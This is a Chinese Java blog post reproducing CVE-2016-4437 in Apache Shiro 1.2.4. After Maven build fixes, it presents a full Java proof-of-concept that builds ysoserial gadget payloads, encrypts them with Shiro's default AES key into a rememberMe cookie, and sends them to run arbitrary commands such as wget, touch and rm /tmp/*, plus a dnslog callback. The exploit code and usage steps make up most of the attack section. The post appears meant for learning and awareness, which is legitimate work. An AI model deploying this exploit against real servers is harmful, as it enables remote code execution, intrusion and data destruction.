记录Java开发中的问题,一起成长!
问题背景:在某个项目中依赖了shiro1.2.4,结果收到了网警的一纸警告,警告上明确写道存在CVE-2016-4437以及造成此漏洞的罪魁祸首是使用了<=1.2.4版本的shiro。
复现CVE-2016-4437
漏洞是有了,那么这个漏洞到底有多严重呢?我们来复现一下这个问题。
需要用到的工具:
ysoserial源码或jar包 (公众号内获取方式将文章底部)
shiro-root源码(主要使用里面的samples-web子项目)可以从官网下载,不过这里直接提供一个编译好的压缩包(公众号内获取方式将文章底部)
如果使用的是我们提供的编译好的压缩包下面的信息可以不看了:
shiro-root项目如果下载源码编译可能会出现如下错误:
maven-toolchains-plugin错误
[ERROR] Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:1.1:toolchain (default) on project shiro-samples: Cannot find matching toolchaindefinitions for the following toolchain types:[ERROR] jdk [ vendor='sun' version='1.6' ][ERROR] Please make sure you define the required toolchains in your ~/.m2/toolchains.xml file.
这是因为shiro-root-1.2.4.pom中使用了maven-toolchains-plugin,而maven中没有配置toolchain导致无法编译(toolchain可以指定编译时使用的jdk版本),见shiro-root-1.2.4.pom中的maven-toolchains-plugin:
<plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-toolchains-plugin</artifactId><version>1.1</version><configuration><toolchains><jdk><version>1.6</version><vendor>sun</vendor></jdk></toolchains></configuration><executions><execution><goals><goal>toolchain</goal></goals></execution></executions></plugin>
这里定义了1.6版本的JDK的目录,当然,你也可以定义多个toolchain。
ok,大功告成!
如果需要了解更多关于toolchain的信息,可以看这里:http://maven.apache.org/guides/mini/guide-using-toolchains.html
2、Maven打包web项目报错:webxml attribute is required (or pre-existing WEB-INF/web.xml if executing in update)
第一种、在pom.xml文件中定义一个参数配置
<properties><failOnMissingWebXml>false</failOnMissingWebXml></properties>
第二种、更新maven-war-plugin的版本
<plugin><artifactId>maven-war-plugin</artifactId><version>3.0.0</version></plugin>
第三种、在webapp目录下创建WEB-INF/web.xml
mvn package -Dmaven.test.skip=true3、运行时还可能报错:
Theabsolute uri: [http://java.sun.com/jsp/jstl/core] cannot be resolved ineither web.xml or the jar files deployed with this application
将jstl的版本改为为1.2
并引入collections4准备验证错误
<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>
3、访问经过上面的步骤应该就可以部署成功了。部署成功后访问页面。
漏洞利用
项目已经有了,在项目的lib目录中放入commons-collections4-4.0.jar的jar包(有漏洞的jar包都可以,此处以commons-collections4-4.0.jar为例)。
编写java程序(需要依赖于ysoserial):
注意:CommonsCollections2针对的是commons-collections4-4.0的漏洞,如果是commons-collections:3.1使用CommonsCollections1,具体可以查看ysoserial.payloads的源码
package ysoserial;import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.FileWriter;import java.io.IOException;import java.io.ObjectOutputStream;import java.security.Key;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import org.apache.commons.codec.binary.Base64;import ysoserial.payloads.CommonsCollections2;import ysoserial.payloads.ObjectPayload;public class ShiroPOC {private static final byte[] keyBytes = Base64.decodeBase64("kPH+bIxk5D2deZiIxcaaaA==");public static void main(String[] args) {if (args.length != 2) {System.out.println("usage: java -jar shiroPoc.jar command pocPath");}// wget http://www.baidu.com// touch /tmp/kevintest.txt// exec calc// CommonsCollections2针对的是commons-collections4-4.0的漏洞,如果是commons-collections:3.1使用CommonsCollections1,具体可以查看ysoserial.payloads的源码ShiroPOC.run(CommonsCollections2.class, "wget http://www.baidu.com", "d:/tttttt.txt");//// http://www.dnslog.cn/getdomain.php 获取域名// http://www.dnslog.cn/getrecords.php 获取访问记录// ShiroPOC.run(URLDNS.class, "http://eoaw7y.dnslog.cn", "d:/tttttt1.txt"); //注意里面的域名需要重新获取可能已经过期}@SuppressWarnings({ "rawtypes" })public static void run(Class<? extends ObjectPayload> ObjectPayloadClz, String cmd, String filePath) {// 3个参数1类 2执行命令 3文件路径System.out.println("======================================================================");try {// String className = ObjectPayloadClz.getName();// Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);ObjectPayload payload = (ObjectPayload) ObjectPayloadClz.newInstance();Object object = payload.getObject(cmd);byte[] objectBytes = toByteArray(object);byte[] objectEncriptBytes = aesEncrypt(objectBytes);System.out.println("加密后:" + objectEncriptBytes.length);System.out.println("");String strHex = parseByte2HexStr(objectEncriptBytes);System.out.println("转十六进制后:" + strHex);System.out.println("");byte[] hexTobyte = parseHexStr2Byte(strHex);System.out.println("转二进制后:" + hexTobyte);System.out.println(hexTobyte.length);System.out.println("");byte[] descBytes = AES_CBC_Decrypt(hexTobyte);System.out.println("解密后:" + new String(descBytes));System.out.println("");byte[] byteMerger = byteMerger(getIV(), hexTobyte);System.out.println(new String(byteMerger));System.out.println("");System.out.println("byteMerger length: " + byteMerger.length);System.out.println("");byte[] base64ByteMerger = Base64.encodeBase64(byteMerger);String base64MergerStr = new String(base64ByteMerger).replaceAll("\r|\n", "");System.out.println("rememberMe=" + base64MergerStr);System.out.println("");createFile(filePath, base64MergerStr);byte[] descriptByte = Base64.decodeBase64(base64MergerStr);byte[] objectByte = new byte[descriptByte.length - 16];System.arraycopy(descriptByte, 16, objectByte, 0, descriptByte.length - 16);byte[] decriptObj = AES_CBC_Decrypt(objectByte);System.out.println(new String(decriptObj));} catch (Exception e) {// TODO Auto-generated catch blocke.printStackTrace();}}/*** 将16进制转换为二进制** @param hexStr* @return*/public static byte[] parseHexStr2Byte(String hexStr) {if (hexStr.length() < 1)return null;byte[] result = new byte[hexStr.length() / 2];for (int i = 0; i < hexStr.length() / 2; i++) {int high = Integer.parseInt(hexStr.substring(i * 2, i * 2 + 1), 16);int low = Integer.parseInt(hexStr.substring(i * 2 + 1, i * 2 + 2), 16);result[i] = (byte) (high * 16 + low);}return result;}/*** 将二进制转换成16进制** @param buf* @return*/public static String parseByte2HexStr(byte buf[]) {StringBuffer sb = new StringBuffer();for (int i = 0; i < buf.length; i++) {String hex = Integer.toHexString(buf[i] & 0xFF);if (hex.length() == 1) {hex = '0' + hex;}sb.append(hex.toUpperCase());}return sb.toString();}/*** 使用AES 算法 加密,默认模式 AES/CBC/PKCS5Padding*/public static byte[] aesEncrypt(byte[] str) throws Exception {Key keySpec = new SecretKeySpec(keyBytes, "AES");IvParameterSpec ivSpec = new IvParameterSpec(getIV());Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);/*** 初始化,此方法可以采用三种方式,按服务器要求来添加。(1)无第三个参数 (2)第三个参数为SecureRandom random = new SecureRandom();中random对象,随机数。(AES不可采用这种方法)* (3)采用此代码中的IVParameterSpec*/byte[] b = cipher.doFinal(str);return b;}public static byte[] AES_CBC_Decrypt(byte[] content) {byte[] ret = null;try {IvParameterSpec ivSpec = new IvParameterSpec(getIV());Key key = new SecretKeySpec(keyBytes, "AES");Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);ret = cipher.doFinal(content);} catch (Exception e) {// TODO Auto-generated catch blocke.printStackTrace();}return ret;}public static byte[] getIV() {String iv = "1234567812345678"; // IV length: must be 16 bytes longreturn iv.getBytes();}public static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {byte[] byte_3 = new byte[byte_1.length + byte_2.length];System.out.println("arry1长度:" + byte_1.length + "arry1长度:" + byte_2.length);System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);return byte_3;}/*** 创建文件** @Title createFile* @author 吕凯* @date 2020年5月28日 上午10:26:53* @param path* 文件路径* @param str* 文件内容* @throws IOException* void*/public static void createFile(String path, String str) throws IOException {FileWriter fos = new FileWriter(path);fos.write(str);fos.flush();fos.close();}public static void createFile(String path, byte[] str) throws IOException {FileOutputStream fos = new FileOutputStream(path);fos.write(str);fos.flush();fos.close();}/*** 对象转数组** @param obj* @return*/public static byte[] toByteArray(Object obj) {byte[] bytes = null;ByteArrayOutputStream bos = new ByteArrayOutputStream();try {ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(obj);oos.flush();bytes = bos.toByteArray();oos.close();bos.close();} catch (IOException ex) {ex.printStackTrace();}return bytes;}}
借助于http工具如Fiddler,在cookie中添加将rememberMe=上面生成的字符串,发起请求,到服务器上验证即可。

如执行的命令为touch /tmp/kevintest.txt
则到服务器的tmp目录下可用看到多了kevintest.txt文件。可以将命令再改成rm /tmp/kevintest.txt看看,该文件被删除了,那么设想一下如果讲命令改成rm /tmp/*设置更危险的命令会有什么后果?
思考
如果上面的例子还不够明显,可以多试几个脚本,看看在服务器上的运行情况。基本上项目运行用户能支持的命令,都可以通过这个rememberMe注入执行。那么这个漏洞有多严重就不言而喻了吧。
那么这个漏洞到底是怎么造成的以及怎样解决,我们将在后续的文章中继续进行分析。
专注Java技术,我们一起学习一起进步